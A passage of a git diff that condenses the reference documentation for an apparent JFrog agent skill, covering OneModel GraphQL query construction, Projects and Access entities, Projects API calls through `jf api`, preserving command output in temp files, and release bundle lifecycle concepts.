`$SCHEMA_FILE` from disk** for all subsequent -schema lookups — never re-fetch to a different path. +After the block: **read `$SCHEMA_FILE` from disk** for all schema lookups — +never re-fetch to a different path. -If the fetch fails (HTTP 401/403, empty file, or network error), verify the -access token, wildcard audience, base URL (no trailing path beyond the host), and -server version. If the schema file is empty or contains an HTML error page, -delete it and retry the block above. +Fetch fails (401/403/404, network, timeout) → **stop and report**; fix +token / wildcard audience / base URL (host only, no trailing path) / server +version first — do not blind-retry. Retry the block only after a **successful** +call left an empty file or HTML error page (delete it first). -The schema file is SDL — namespaces, types, fields, arguments, enums, and -directives for **this** server. +Schema is SDL — namespaces, types, fields, args, enums, directives for **this** +server. #### Navigating the schema -The schema is large (typically 10,000+ lines). Do not read it in full. Use -targeted searches: +Large (typically 10,000+ lines). Do not read in full. Targeted search: -1. **Find available namespaces** — search for lines matching `: ...Queries!` - near the root `Query` definition (e.g. `applications: ApplicationsQueries!`). -2. **Find operations for a namespace** — search for the `...Queries` type name - to see `get...` and `search...` methods. -3. **Find input/filter types** — from the operation signature, look up the - `WhereInput` type to see available filters. -4. **Find output fields** — look up the node type to see which fields you can - request. +1. **Namespaces** — lines matching `: ...Queries!` near root `Query` + (e.g. `applications: ApplicationsQueries!`). +2. **Operations** — search `...Queries` type for `get...` / `search...`. +3. **Input/filter types** — from op signature, look up `WhereInput`. +4. **Output fields** — look up node type for selectable fields. -When reading the schema, **ignore types and fields annotated with -`@inaccessible`.** These are internal federation artifacts and are not queryable -through the OneModel endpoint. +**Ignore `@inaccessible`** — internal federation; not queryable via OneModel. #### Never assume — always verify in the schema -Before constructing any query, look up every type you intend to use. Common -mistakes: +Before constructing, look up every type you will use. Common mistakes: -- **Scalars vs enums** — A name like `FooType` may be a `scalar` (string) - or an `enum`. Search for `scalar FooType` vs `enum FooType` to know - whether to pass a quoted string (`"something"`) or a bare identifier. -- **Connection fields vs plain fields** — Look for `...Connection` naming; - verify exact field names and required arguments on the parent type. -- **Nested types** — When a field returns a complex type, look up that type's - definition for subfields; do not guess names. +- **Scalars vs enums** — `FooType` may be `scalar` (quoted string) or `enum` + (bare id). Search `scalar FooType` vs `enum FooType`. +- **Connection vs plain** — look for `...Connection`; verify field names and + required args on the parent. +- **Nested types** — look up returned complex types for subfields; do not guess. #### Read the descriptions -Schema descriptions (`"""..."""` above types, fields, and arguments) encode -accepted values, matching behavior, and constraints. Read a few lines above -each definition you use. +Schema `"""..."""` above types/fields/args encode accepted values, matching, +constraints. Read a few lines above each definition you use. -**Why this matters:** The OneModel supergraph is composed per server from -products, entitlements, and license. Different servers expose different domains. -The resolved schema is the only reliable source of truth. +**Why:** Supergraph is per-server (products, entitlements, license). Domains +differ. Resolved schema is the only reliable source of truth. **Do NOT rely on:** -- Public documentation alone — it may not list every domain on your server. -- Hardcoded examples without schema verification — see - `onemodel-query-examples.md` as patterns only. +- Public docs alone — may omit domains on your server. +- Hardcoded examples without schema check — `onemodel-query-examples.md` = + patterns only. - Legacy metadata GraphiQL (`/metadata/api/v1/query/graphiql`) — deprecated; - it does not reflect the OneModel schema. + not OneModel. ### 3. Understand the query intent -Using the schema from step 2, map the user's request to available domains. -Search for root `Query` and `: ...Queries!` lines to see namespaces on this -server. +From step-2 schema, map the request to domains. Search root `Query` and +`: ...Queries!` for namespaces on this server. -Common domains you **may** find (always verify in the schema): +Domains you **may** find (always verify): -- **Applications** — applications, versions, bound package versions +- **Applications** — apps, versions, bound package versions - **Release lifecycle** — release bundle versions, artifacts, source builds - **Evidence** — evidence on artifacts, repos, or release bundles -- **Stored packages** — packages and versions in Artifactory repos +- **Stored packages** — packages/versions in Artifactory repos - **Public / custom catalog** — public registry metadata, catalog packages, security/legal/operational info -If no matching types exist, tell the user the capability is not exposed on this -server. +No matching types → tell the user the capability is not on this server. **Note:** Legacy metadata GraphQL (`packages` at `/metadata/api/v1/query`) is -deprecated and **not** part of OneModel. Use `/onemodel/api/v1/graphql` only. +deprecated and **not** OneModel. Use `/onemodel/api/v1/graphql` only. ### 4. Construct the GraphQL query -Build the query using **only** types, fields, and arguments from the resolved -schema. +Build using **only** types, fields, and args from the resolved schema. #### Pre-construction checklist -1. Look up every argument type (`where`, `orderBy`, etc.). -2. Look up every output type and required subfield selections for object types. +1. Look up every argument type (`where`, `orderBy`, …). +2. Look up every output type and required subfield selections for objects. 3. Look up every `WhereInput` and nested filter shape. -4. Trace the full path from root to leaf and confirm each hop exists. +4. Trace root→leaf; confirm each hop exists. #### Principles -- Prefer **one query** that returns what the user needs (nested fields, - filters) to minimize round-trips. +- Prefer **one query** with nested fields/filters (fewer round-trips). - Request **only needed fields**. -- On validation errors, **simplify** the query (e.g. one scalar field per - connection) to isolate the bad filter or field. Request `totalCount` only if - that connection type defines it in the schema (many metadata connections do - not). -- Use **`where`** in the query instead of fetching everything client-side. -- Use **pagination** — include `first` (or `last`) and - `pageInfo { hasNextPage endCursor }` for large sets. -- Use **GraphQL variables** for dynamic values (see `onemodel-common-patterns.md`). +- On validation errors, **simplify** (e.g. one scalar per connection) to + isolate the bad filter/field. Request `totalCount` only if the connection + type defines it (many metadata connections do not). +- Prefer **`where`** over fetch-all + client filter. +- **Pagination** — `first`/`last` + `pageInfo { hasNextPage endCursor }` for + large sets. +- **GraphQL variables** for dynamic values (`onemodel-common-patterns.md`). #### Naming convention - `get...` — single item -- `search...` — list / connection-style results +- `search...` — list / connection-style ### 5. Validate the query against the schema -Before executing, verify: +Before execute, verify: -1. Every field name matches the schema (casing, suffixes like `...Connection`). +1. Every field name matches schema (casing, `...Connection` suffixes). 2. Every object-typed field has a subfield selection. -3. Every argument value matches scalar vs enum vs input rules. -4. Nested `where` paths exist end-to-end on the corresponding input types. -5. Connection fields include pagination arguments as required. -6. **Brace balance** — every `{` in the document (selection sets and input - objects) has exactly one matching `}`. Deep nesting is easy to get wrong in - a single-line shell string; prefer a `.graphql` file or heredoc so structure - is visible (see below). +3. Every arg value matches scalar vs enum vs input rules. +4. Nested `where` paths exist end-to-end on input types. +5. Connection fields include required pagination args. +6. **Brace balance** — every `{` has one matching `}`. Prefer `.graphql` file + or heredoc over a single-line shell string (see below). ### 6. Execute the query @@ -256,15 +224,13 @@ jf api /onemodel/api/v1/graphql \ #### Always save the response to a file -Redirect `jf api`'s stdout to `$RESPONSE_FILE` so you can re-`jq` without -re-querying. **Do not pipe `jf api` directly to `jq`** — a wrong filter -loses the response. **Do not** set `RESPONSE_FILE` under -`~/.jfrog/skills-cache/` — that directory is only for the schema cache and -`jfrog-skill-state.json` (see [`~/.jfrog/skills-cache/` policy](#jfrogskills-cache-policy) -above). +Redirect `jf api` stdout → `$RESPONSE_FILE` so you can re-`jq` without +re-querying. **Do not pipe `jf api` to `jq`** — wrong filter loses the +response. **Do not** put `RESPONSE_FILE` under `~/.jfrog/skills-cache/` — +schema + `jfrog-skill-state.json` only (see +[`~/.jfrog/skills-cache/` policy](#jfrogskills-cache-policy)). -For multiple queries in one shell session, use a temp directory under `/tmp` and -sequential names: +Multiple queries in one shell → temp dir under `/tmp` + sequential names: ```bash ONEMODEL_TMPDIR=$(mktemp -d) @@ -280,19 +246,16 @@ RESPONSE_FILE="$ONEMODEL_TMPDIR/response-$ONEMODEL_QUERY_NUM.json" #### Always use `jq` to build the JSON payload -Do **not** hand-embed the GraphQL string inside a JSON literal — escaping breaks -easily. Build the payload JSON with `jq`, write it to a **file**, and pass the -file to `jf api` with `--input`. `jf api` does not accept stdin for `--data`; -`--input` expects a file path. +Do **not** hand-embed GraphQL inside a JSON literal — escaping breaks easily. +Build payload with `jq` → **file** → `jf api --input`. `jf api` has no stdin +`--data`; `--input` expects a path. ##### Avoid `PARSING_ERROR` (broken GraphQL documents) -A response with `extensions.code: PARSING_ERROR` (often `expected a StringValue, -Name or OperationDefinition` at **line 1, column N**) means the **document -text** is invalid — usually **too many or too few `}`** — before the server -checks fields against the schema. This happens most often when a long query is -pasted into `QUERY='...'` as **one bash line**: braces are hard to count, and a -typo near the end surfaces as an error at a **high column number**. +`extensions.code: PARSING_ERROR` (often `expected a StringValue, Name or +OperationDefinition` at **line 1, column N**) → **document text** invalid — +usually **too many/few `}`** — before schema field checks. Common with long +`QUERY='...'` one-liners: braces hard to count; typo near end → high column. **Do this instead:** @@ -333,15 +296,15 @@ jf api /onemodel/api/v1/graphql \ > "$RESPONSE_FILE" ``` -Strip `#` comments and collapse whitespace only if you need a single-line -payload; often you can pass the file content as-is if it has no comments. +Strip `#` comments / collapse whitespace only if you need a single-line +payload; often pass file content as-is when comment-free. -With variables, add more `--arg` flags and a `variables` object (see -`onemodel-common-patterns.md`). +With variables: more `--arg` flags + `variables` object +(`onemodel-common-patterns.md`). ### 7. Handle the response -Always read from `$RESPONSE_FILE` for further extraction or formatting. +Always read `$RESPONSE_FILE` for further extraction/formatting. #### Success shape @@ -357,7 +320,7 @@ Always read from `$RESPONSE_FILE` for further extraction or formatting. #### Errors -Errors appear in an `errors` array. Partial data may coexist with errors. +Errors in `errors` array. Partial data may coexist. | Symptom | Likely cause | Action | |--------|---------------|--------| @@ -369,32 +332,29 @@ Errors appear in an `errors` array. Partial data may coexist with errors. #### Pagination -If `pageInfo.hasNextPage` is true, pass `endCursor` as `after` on the next -request. Save each page to a new `response-N.json`. Details: -`onemodel-common-patterns.md`. +`pageInfo.hasNextPage` → pass `endCursor` as `after`. Save each page to a new +`response-N.json`. Details: `onemodel-common-patterns.md`. ## GraphQL Playground -The Platform UI includes a GraphQL Playground: **Integrations > GraphQL -Playground**, or: - -`$JFROG_URL/ui/onemodel/playground` +Platform UI: **Integrations > GraphQL Playground**, or +`$JFROG_URL/ui/onemodel/playground`. -Suggest it when: +Suggest when: -- Queries are deeply nested or cross-domain and hard to get right in one turn -- Multiple attempts failed and autocomplete would help -- The user wants to explore capabilities rather than run one fixed query -- The user asks for a UI or visual GraphQL explorer +- Deep/cross-domain queries hard to get right in one turn +- Multiple failed attempts; autocomplete would help +- User wants to explore capabilities, not one fixed query +- User asks for a UI / visual GraphQL explorer Include the resolved base URL so they can open it immediately. ### Official documentation -- [JFrog OneModel GraphQL](https://jfrog.com/help/r/jfrog-rest-apis/jfrog-one-model-graphql) -- [OneModel common patterns](https://jfrog.com/help/r/jfrog-rest-apis/one-model-graphql-common-patterns-and-conventions) -- [Release lifecycle GraphQL examples](https://jfrog.com/help/r/jfrog-rest-apis/get-release-bundle-v2-version-graphql-use-cases-examples) -- [GraphQL introduction](https://graphql.org/learn/) +- https://jfrog.com/help/r/jfrog-rest-apis/jfrog-one-model-graphql +- https://jfrog.com/help/r/jfrog-rest-apis/one-model-graphql-common-patterns-and-conventions +- https://jfrog.com/help/r/jfrog-rest-apis/get-release-bundle-v2-version-graphql-use-cases-examples +- https://graphql.org/learn/ ## Gotchas @@ -440,7 +400,6 @@ Include the resolved base URL so they can open it immediately. ## Related reference files -- `onemodel-query-examples.md` — illustrative templates per domain (verify - against schema before use). -- `onemodel-common-patterns.md` — Relay-style pagination, filters, variables, - date formatting, response shapes. +- `onemodel-query-examples.md` — domain templates (verify against schema). +- `onemodel-common-patterns.md` — Relay pagination, filters, variables, dates, + response shapes. \ No newline at end of file diff --git a/skills/jfrog/references/onemodel-query-examples.md b/skills/jfrog/references/onemodel-query-examples.md index 5ae0b1f..f7da90e 100644 --- a/skills/jfrog/references/onemodel-query-examples.md +++ b/skills/jfrog/references/onemodel-query-examples.md @@ -649,30 +649,10 @@ query { ### Search evidence for a specific artifact -```graphql -query { - evidence { - searchEvidence( - where: { - hasSubjectWith: { - repositoryKey: "<repo-key>" - path: "<path/to>" - name: "<filename>" - } - } - ) { - edges { - node { - predicateSlug - predicateType - verified - downloadPath - } - } - } - } -} -``` +Same shape as above, scoped to one artifact by adding `path` and `name` +to `hasSubjectWith`: `hasSubjectWith: { repositoryKey: "<repo-key>", +path: "<path/to>", name: "<filename>" }` — repository-level search +alone can't isolate a single file. ### Get evidence by location diff --git a/skills/jfrog/references/platform-access-entities.md b/skills/jfrog/references/platform-access-entities.md index 9e2d809..010f788 100644 --- a/skills/jfrog/references/platform-access-entities.md +++ b/skills/jfrog/references/platform-access-entities.md @@ -2,16 +2,14 @@ When to read this file: -- Explaining how **Projects**, **repositories**, **members**, **roles**, and +- Explaining how **Projects**, **repositories**, **members**, **roles**, **environments** fit together. -- Working with **users**, **groups**, or **access tokens** at the platform level. -- Building **inventories or reports** that join Artifactory data with - Access / Projects. +- Working with **users**, **groups**, or **access tokens** at platform level. +- Building **inventories or reports** joining Artifactory data with Access / Projects. - Avoiding two common mistakes: inferring project membership from - **repository name**, or assuming **roles** are identical across projects. + **repository name**, or assuming **roles** identical across projects. -For endpoint-level curl examples, see `projects-api.md`. For list-vs-detail -API patterns and batching, see `general-bulk-operations-and-agent-patterns.md`. +Endpoint-level curl examples: `projects-api.md`. List-vs-detail API patterns + batching: `general-bulk-operations-and-agent-patterns.md`. ## Entity relationship overview @@ -31,17 +29,17 @@ erDiagram ## Project -Organizational container for grouping members, roles, and resources. +Organizational container grouping members, roles, resources. | Field | Description | |-------|-------------| -| `project_key` | Unique identifier (short string, used in APIs and repo assignment) | +| `project_key` | Unique identifier (short string; APIs + repo assignment) | | `display_name` | Human-readable name | | `description` | Project description | -| `admin_privileges` | Flags controlling project-level admin behavior | -| `storage_quota` | Storage limits for the project | +| `admin_privileges` | Project-level admin behavior flags | +| `storage_quota` | Storage limits | -A project hosts **members** (users and groups with roles) and **resources** +Project hosts **members** (users/groups with roles) + **resources** (repositories, builds, Release Bundles) assigned to it. API: `GET /access/api/v1/projects`, `GET /access/api/v1/projects/<project-key>`. @@ -51,50 +49,44 @@ Documentation: [Get Started with Projects](https://docs.jfrog.com/projects/docs) ## Project role -Per-project role definition that scopes what members may do. +Per-project role scoping what members may do. | Field | Description | |-------|-------------| | `name` | Role name (e.g. `Developer`, `Release Manager`) | | `type` | `PREDEFINED` or `CUSTOM` | -| `environments` | List of environments where the role applies (e.g. `["DEV", "PROD"]`) | -| `actions` | Permitted actions within those environments | +| `environments` | Environments where role applies (e.g. `["DEV", "PROD"]`) | +| `actions` | Permitted actions in those environments | -Predefined role templates exist, but projects can define **custom roles**. +Predefined role templates exist; projects can define **custom roles**. Two projects may have different custom roles or different definitions for -roles with the same name — always fetch per project when reporting. +same-named roles — always fetch per project when reporting. API: `GET /access/api/v1/projects/<project-key>/roles`. ## Project member -A user or group assigned a role within a project. +User or group with role in project. | Field | Description | |-------|-------------| | `name` | Username or group name | -| `roles` | List of role names assigned in this project | +| `roles` | Role names assigned in this project | -Membership is **not** the same as global platform administration. Roles are -evaluated in a project context — a user can be a Developer in one project -and a Release Manager in another. +Membership ≠ global platform administration. Roles evaluated in project context — user can be Developer in one project, Release Manager in another. API: `GET /access/api/v1/projects/<project-key>/users`, `GET /access/api/v1/projects/<project-key>/groups`. ## Environment -Environments group resources and scope RBAC so that roles can have different -permissions per environment (e.g. separate DEV vs PROD behavior). +Environments group resources + scope RBAC so roles have different permissions per environment (e.g. separate DEV vs PROD behavior). | Field | Description | |-------|-------------| | `name` | Environment name (e.g. `DEV`, `STAGING`, `PROD`) | -Environments can be defined at **global** scope (available across projects) or -**project** scope. Repositories can be assigned to one or more environments. -Environments are also used in release bundle promotion and application version -promotion (see `release-lifecycle-entities.md` and `apptrust-entities.md`). +Defined at **global** scope (cross-project) or **project** scope. Repositories assignable to one or more environments. Also used in release bundle promotion + application version promotion (see `release-lifecycle-entities.md`, `apptrust-entities.md`). API: `GET /access/api/v1/environments`. @@ -102,55 +94,52 @@ Documentation: [Environments](https://docs.jfrog.com/administration/docs/environ ## User -A platform identity that authenticates and is granted permissions. +Platform identity authenticating + granted permissions. | Field | Description | |-------|-------------| | `username` | Unique login name | | `email` | Email address | | `status` | `enabled` or `disabled` | -| `admin` | Whether the user has platform admin privileges | -| `groups` | Groups the user belongs to | +| `admin` | Platform admin privileges | +| `groups` | User's groups | | `realm` | Authentication realm (e.g. `internal`, `ldap`, `saml`) | -Users can be managed via REST API or synced from external identity providers -(LDAP, SAML, SCIM). +Managed via REST API or synced from external IdPs (LDAP, SAML, SCIM). API: `GET /access/api/v2/users/`, `GET /access/api/v2/users/<username>`. ## Group -A named collection of users that simplifies permission management. +Named user collection simplifying permission management. | Field | Description | |-------|-------------| | `name` | Group name | | `description` | Group description | -| `auto_join` | Whether new users automatically join this group | -| `admin_privileges` | Whether group members have admin privileges | +| `auto_join` | Whether new users auto-join | +| `admin_privileges` | Whether members have admin privileges | | `realm` | Source realm (e.g. `internal`, `ldap`) | -| `external_id` | External identity provider ID (for synced groups) | +| `external_id` | External IdP ID (synced groups) | -Groups can be assigned permissions and project roles, applying them to all -members at once. +Groups assignable to permissions + project roles — applies to all members at once. API: `GET /access/api/v2/groups/`, `GET /access/api/v2/groups/<group-name>`. ## Access token -A bearer credential with scoped permissions and optional expiry. +Bearer credential with scoped permissions + optional expiry. | Field | Description | |-------|-------------| | `token_id` | Unique token identifier | -| `subject` | The user or service the token represents | +| `subject` | User or service token represents | | `scope` | Permission scope (e.g. `applied-permissions/admin`, `applied-permissions/groups:readers`) | | `expires_in` | TTL in seconds (0 = non-expiring) | -| `refreshable` | Whether the token can be refreshed | +| `refreshable` | Whether token refreshable | | `description` | Human-readable description | -Tokens are the primary authentication mechanism for API and CLI access. -They can be scoped to specific groups, projects, or admin-level permissions. +Primary auth mechanism for API + CLI. Scopeable to specific groups, projects, or admin-level permissions. CLI: `jf access-token-create [username] [options]`. @@ -158,33 +147,29 @@ API: `POST /access/api/v1/tokens`. ## Repository–Project assignment -A repository is linked to **at most one** project via the `projectKey` field -in its configuration. +Repository linked to **at most one** project via `projectKey` in configuration. | Rule | Detail | |------|--------| -| **Authoritative field** | `projectKey` on the repository configuration | -| **Not authoritative** | Repository name — a naming pattern like `<project-key>-<suffix>` is a convention, not a guarantee | -| **Unassigned** | Missing or empty `projectKey` means the repo is not tied to any project | +| **Authoritative field** | `projectKey` on repository configuration | +| **Not authoritative** | Repository name — pattern like `<project-key>-<suffix>` = convention, not guarantee | +| **Unassigned** | Missing/empty `projectKey` = not tied to any project | ## Agent rules ### 1. Repository to project (authoritative) -1. Obtain repository keys from `GET /api/repositories` (lite list). -2. For each key, call `GET /api/repositories/<repo-key>` and read `projectKey`. -3. Treat missing or empty `projectKey` as **unassigned**, regardless of - whether the repo name looks like `<project-key>-...`. +1. Obtain repo keys from `GET /api/repositories` (lite list). +2. Per key: `GET /api/repositories/<repo-key>` → read `projectKey`. +3. Missing/empty `projectKey` = **unassigned**, regardless of name looking like `<project-key>-...`. -Do **not** infer project membership from naming alone. A name-prefix filter is -only a heuristic when detail calls are impossible, and is not authoritative. +Do **not** infer project membership from naming alone. Name-prefix filter = heuristic only when detail calls impossible — not authoritative. -Cost: one list plus N detail calls. Batch in one Shell invocation; reuse -captured JSON per SKILL.md "Preserving command output" when iterating with `jq`. +Cost: one list + N detail calls. Batch in one Shell invocation; reuse captured JSON per SKILL.md "Preserving command output" when iterating with `jq`. ### 2. Project roles (per project) -For each `project_key` in a multi-project report or comparison, call: +Per `project_key` in multi-project report/comparison: `GET /access/api/v1/projects/<project-key>/roles` @@ -192,9 +177,6 @@ Do **not** reuse one project's role payload as representative of all projects. ## Further reading -- [JFrog documentation URLs in this skill](jfrog-url-references.md) -- [Get Started with Projects](https://docs.jfrog.com/projects/docs) -- [Basic Projects Terminology](https://docs.jfrog.com/projects/docs/basic-projects-terminology) -- [Environments (Administration)](https://docs.jfrog.com/administration/docs/environments) -- [Projects API (interactive reference)](https://docs.jfrog.com/projects/reference) -- [Projects API (this skill)](projects-api.md) +See `jfrog-url-references.md`, the inline Documentation links above +(Projects, Environments), the Projects API interactive reference at +`docs.jfrog.com/projects/reference`, and [Projects API (this skill)](projects-api.md). diff --git a/skills/jfrog/references/preserving-command-output.md b/skills/jfrog/references/preserving-command-output.md new file mode 100644 index 0000000..c7f75e9 --- /dev/null +++ b/skills/jfrog/references/preserving-command-output.md @@ -0,0 +1,42 @@ +# Preserving command output + +> **Tier B MUST** before advanced CLI/API I/O. Not domain on-demand; not every CLI / setup. + +When a CLI command or API call returns data, redirect output to a temp file so +you can re-read it without re-executing the call: + +```bash +OUT=/tmp/jf-repos-$$.json +jf api /artifactory/api/repositories > "$OUT" +echo "$OUT" +``` + +Use `$$` (the shell PID) in the filename to prevent collisions across +concurrent sessions or processes. + +**Cross-call gotcha:** each Shell tool invocation runs in a new process with a +different PID, so `$$` expands to a different value in each call. Always +**echo the expanded filename** so the agent can read it from the output and +reuse the literal path in subsequent calls. Three patterns, in priority order: + +1. **`$$` + echo** (preferred): use `$$` for collision safety, echo the path + as shown above. The agent reads `/tmp/jf-repos-12345.json` from the output + and passes that literal value to the next Shell call. +2. **Session ID**: when many files share a prefix across calls, generate an ID + once (`SID=$(date +%s)-$$`), echo it, and reuse in later calls. +3. **Hardcoded names**: last resort — risks collisions when parallel calls or + subagents write to the same path. + +This protects against wasted round-trips when you need to retry parsing — for +example, if a `jq` filter fails or you extract the wrong field on the first +attempt. Re-read the file instead of hitting the server again. + +Do **not** duplicate the same **network** request in a shell pipeline (e.g. with +`||`) only to re-run `jq` or to reveal jq diagnostics—the duplicate call +adds load on JFrog without fetching new data. Run +`jq '<filter>' /tmp/jf-*-$$.json` (or redirect stdin from the file) instead +of re-running the same `jf api` or other identical network-backed command. + +Do **not** reuse saved output across unrelated steps or changed contexts (different +server, user, or intent). The file is only valid for the immediate sequence of +operations that motivated the original call. diff --git a/skills/jfrog/references/projects-api.md b/skills/jfrog/references/projects-api.md index 06f9f18..d568b42 100644 --- a/skills/jfrog/references/projects-api.md +++ b/skills/jfrog/references/projects-api.md @@ -1,20 +1,13 @@ # JFrog Projects API -**See also:** `references/platform-access-entities.md` for how Projects relate to -repositories, members, roles, and environments. +**See also:** `references/platform-access-entities.md`. -Projects are managed through the Access API. There is no CLI subcommand — -invoke the endpoints via `jf api` (see the base skill's *Invoking platform -APIs with `jf api`* section). Authentication against the resolved JFrog -server is automatic. - -All endpoints below use full product-prefixed paths (`/access/api/...`, -`/artifactory/api/...`). +Projects via Access API — no CLI; use `jf api` (base skill *Invoking platform +APIs with `jf api`*). Paths: `/access/api/...`, `/artifactory/api/...`. ## Authentication -Credentials are resolved automatically by `jf api` from the active `jf config` -server — no token extraction or `curl` wiring is needed. +`jf api` resolves credentials from active `jf config` — no manual token/`curl`. ## Projects @@ -24,8 +17,8 @@ server — no token extraction or `curl` wiring is needed. jf api /access/api/v1/projects ``` -Returns an array of project objects with `project_key`, `display_name`, -`description`, `admin_privileges`, `storage_quota_bytes`, etc. +Returns project objects: `project_key`, `display_name`, `description`, +`admin_privileges`, `storage_quota_bytes`, etc. ### Get a single project @@ -50,8 +43,7 @@ jf api /access/api/v1/projects \ }' ``` -The `project_key` must be 2-32 lowercase alphanumeric characters (hyphens -allowed, no leading/trailing hyphen). +`project_key`: 2-32 lowercase alphanumeric (hyphens allowed, no leading/trailing hyphen). ### Update a project @@ -97,9 +89,8 @@ jf api /access/api/v1/projects/<project-key>/users/<username> -X DELETE jf api /access/api/v1/projects/<project-key>/groups ``` -The response may list group entries under **`members`**, **`groups`**, or both, -depending on platform version (same general shape as users: `name` and -`roles`). Parsers should accept whichever key is present. +Response may list groups under **`members`**, **`groups`**, or both (platform +version dependent; same shape as users: `name`, `roles`). Accept whichever key present. ### Add a group @@ -117,16 +108,15 @@ jf api /access/api/v1/projects/<project-key>/groups/<group-name> \ jf api /access/api/v1/projects/<project-key>/roles ``` -Returns an array of role objects. Each has `name`, `description`, `type` +Returns role objects: `name`, `description`, `type` (`PREDEFINED`, `ADMIN`, or `CUSTOM`), `environments` (e.g. `["DEV","PROD"]`), -and `actions` (permission strings). +`actions` (permission strings). -Predefined roles: Project Admin, Developer, Contributor, Viewer, Release -Manager, Security Manager, AppTrust Manager, Model Governor, Model Developer. +Predefined: Project Admin, Developer, Contributor, Viewer, Release Manager, +Security Manager, AppTrust Manager, Model Governor, Model Developer. -**Multi-project reports:** Call this endpoint **once per `project_key`**. Custom -roles and definitions can differ by project; do not assume one project's role -list matches another. See `references/platform-access-entities.md`. +**Multi-project reports:** one call per `project_key` — roles differ by project. +See `references/platform-access-entities.md`. ### Create a custom role @@ -144,8 +134,8 @@ jf api /access/api/v1/projects/<project-key>/roles \ ## Environments -The product supports **global** and **project-scoped** environment concepts for -RBAC and resource grouping; see +**Global** and **project-scoped** environment concepts for RBAC and resource +grouping; see [Environments (Administration)](https://docs.jfrog.com/administration/docs/environments) and `references/platform-access-entities.md`. @@ -155,8 +145,7 @@ and `references/platform-access-entities.md`. jf api /access/api/v1/environments ``` -Returns `[{"name": "DEV"}, {"name": "PROD"}, ...]` -- the platform environment -list available through this Access API path. +Returns `[{"name": "DEV"}, {"name": "PROD"}, ...]` — platform environment list. ### Create an environment @@ -166,13 +155,13 @@ jf api /access/api/v1/environments \ -d '{"name": "STAGING"}' ``` -Environment names are uppercase by convention. +Environment names uppercase by convention. ## Repository assignment ### Assign a repository to a project -Assign a repository to a project by updating its configuration: +Update repo configuration: ```bash jf api /artifactory/api/repositories/<repo-key> \ @@ -182,8 +171,7 @@ jf api /artifactory/api/repositories/<repo-key> \ ### List repositories for a project -`GET /artifactory/api/repositories` supports optional query parameters that can -be combined: +`GET /artifactory/api/repositories` — optional combinable query params: | Parameter | Values | Example | |-----------|--------|---------| @@ -202,40 +190,34 @@ jf api "/artifactory/api/repositories?project=<project-key>&type=local&packageTy jf api "/artifactory/api/repositories?type=remote" ``` -Returns a lite list with `key`, `type`, `packageType`, and `url` per repo. -See `references/artifactory-api-gaps.md` for additional filter examples. +Lite list: `key`, `type`, `packageType`, `url` per repo. +See `references/artifactory-api-gaps.md` for filter examples. ### Get repository detail -To retrieve the full configuration of a specific repository (including fields -like `projectKey`, `description`, storage settings, etc. that are absent from -the lite list), use the detail endpoint: +Full configuration (including `projectKey`, `description`, storage settings +absent from lite list): ```bash jf api "/artifactory/api/repositories/<repo-key>" ``` -Use this when you have a specific repo or a short list of repos to inspect -- -not for filtering large sets. For filtering, use the query parameters above. +For specific repo or short list — not for filtering large sets. Filter via query params above. ### Name-prefix heuristic (unreliable -- last resort) -Project-scoped repos often follow a `<project-key>-*` naming convention, but -the API does **not** enforce this. Repos can belong to a project without the -prefix, or carry the prefix without belonging. Always prefer -`?project=<project-key>` for authoritative results. Use name-prefix matching -only when the `project` query parameter is unavailable (e.g. older Artifactory -versions). +Project-scoped repos often follow `<project-key>-*` naming, but API does **not** +enforce. Repos can belong without prefix, or carry prefix without belonging. +Prefer `?project=<project-key>`. Name-prefix only when `project` param unavailable +(e.g. older Artifactory). ## Common error responses -- **Empty members/groups**: projects with no members return - `{"members": []}`, not 404. The groups list endpoint may use the same - `members` key for group entries; empty lists look like `{"members": []}`. - Always check the array rather than the status code alone. -- **Invalid project key on create**: returns 400 if `project_key` is outside - 2-32 chars, contains uppercase letters, or has leading/trailing hyphens. -- **Project not found**: returns 404 with `{"errors": [{"message": "..."}]}`. -- **Insufficient permissions**: `jf api` exits with code 1 on non-2xx and - prints `[Warn] jf api: ... returned 403` on stderr when the token lacks - project admin or platform admin privileges. +- **Empty members/groups**: no members → `{"members": []}`, not 404. Groups + endpoint may use same `members` key; empty = `{"members": []}`. Check array, + not status code alone. +- **Invalid project key on create**: 400 if `project_key` outside 2-32 chars, + uppercase, or leading/trailing hyphens. +- **Project not found**: 404 with `{"errors": [{"message": "..."}]}`. +- **Insufficient permissions**: `jf api` exits 1 on non-2xx; stderr + `[Warn] jf api: ... returned 403` when token lacks project/platform admin. diff --git a/skills/jfrog/references/release-lifecycle-entities.md b/skills/jfrog/references/release-lifecycle-entities.md index 4d66e2f..73f0d74 100644 --- a/skills/jfrog/references/release-lifecycle-entities.md +++ b/skills/jfrog/references/release-lifecycle-entities.md @@ -3,10 +3,10 @@ When to read this file: - Working with **release bundles** (create, promote, distribute, delete). -- Understanding the **lifecycle stages** a release bundle passes through. +- Understanding **lifecycle stages** release bundle passes through. - Setting up **distribution** to Edge nodes or other Platform Deployments. - Working with **evidence** (supply chain attestations). -- Mapping CLI commands (`rbc`, `rbp`, `rbd`, etc.) to their lifecycle meaning. +- Mapping CLI commands (`rbc`, `rbp`, `rbd`, etc.) → lifecycle meaning. ## Entity relationship overview @@ -23,46 +23,39 @@ flowchart TD ## Release Bundles (v2) -A release bundle is an **immutable, versioned collection of artifacts** -assembled from Artifactory. It represents a releasable unit that moves through -lifecycle stages toward production. +Release bundle = **immutable, versioned artifact collection** assembled from Artifactory. Releasable unit moving through lifecycle stages → production. | Field | Description | |-------|-------------| | `name` | Bundle name (e.g. `my-app`) | | `version` | Semantic or custom version string (e.g. `1.2.0`) | -| `artifacts` | Set of artifacts referenced by repo path and checksum | -| `created` | Timestamp of creation | +| `artifacts` | Artifacts by repo path + checksum | +| `created` | Creation timestamp | | `status` | Current lifecycle status | -Bundles can be assembled from: -- **AQL queries** — dynamically select artifacts matching criteria -- **Build info** — include all artifacts from a published build +Assembly sources: +- **AQL queries** — dynamically select matching artifacts +- **Build info** — all artifacts from published build - **Explicit list** — specify repo paths directly -Once created, a bundle's artifact list is **immutable** — the same version -always refers to the exact same set of artifacts. This is enforced by -checksums. +Once created, artifact list **immutable** — same version = exact same artifacts (enforced by checksums). -> **v1 vs v2:** Release Bundle v1 was managed by the Distribution service and -> is deprecated. Release Bundle v2 is managed by the Lifecycle service and is -> the current model. The CLI `rbc`/`rbp`/`rbd` commands default to v2. +> **v1 vs v2:** Release Bundle v1 managed by Distribution service — deprecated. v2 managed by Lifecycle service — current model. CLI `rbc`/`rbp`/`rbd` default to v2. ### CLI commands | Command | Operation | Description | |---------|-----------|-------------| -| `jf rbc` | Create | Assemble a new release 